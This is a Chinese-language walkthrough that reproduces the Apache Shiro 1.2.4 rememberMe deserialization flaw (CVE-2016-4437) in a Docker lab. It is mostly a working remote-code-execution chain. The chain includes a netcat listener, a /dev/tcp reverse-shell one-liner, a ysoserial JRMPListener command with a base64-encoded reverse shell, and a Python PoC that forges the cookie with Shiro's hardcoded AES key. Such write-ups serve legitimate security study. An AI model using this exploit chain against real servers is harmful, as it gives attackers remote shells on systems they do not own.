Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

影响版本:

Apache Shiro <= 1.2.4

原因分析:

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

环境搭建:

安装docker环境,方法自行百度。

下载镜像

docker pull medicean/vulapps:s_shiro_1

直接运行镜像,将docker的8080端口映射到本地的 8080上

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

 获取复现需要用到的ysoserial工具

 若无mvn则自行下载安装

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 

浏览器访问,出现以下页面则证明环境搭建成功。

http://目标IP:8080

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

漏洞利用,在攻击机上运行nc 监听1234端口

nc -l -p 1234

反弹shell指令

bash -i >& /dev/tcp/攻击者IP/1234 0>&1

将指令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 转换成加密后的指令

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

运行指令(通过 ysoserial-0.0.6-SNAPSHOT-all.jar 监听 6666 端口并执行反弹shell命令)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}‘

伪造cookie内容

python shiro.py 攻击者IP:攻击者监听的java端口

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

POC

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.6-SNAPSHOT-all.jar‘, ‘JRMPClient‘, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == ‘__main__‘:
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

前台登录,注意需要勾选Remember Me ,截获数据包(判断:将cookie改为 rememberMe=1 发包,响应包中有 rememberMe=deleteMe 一般就是Apache shiro代码搭建的站点)

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

 使用生成的payload,替换请求中的cookie信息

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

查看java侦听接口,nc侦听接口并成功执行相关命令。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

相关推荐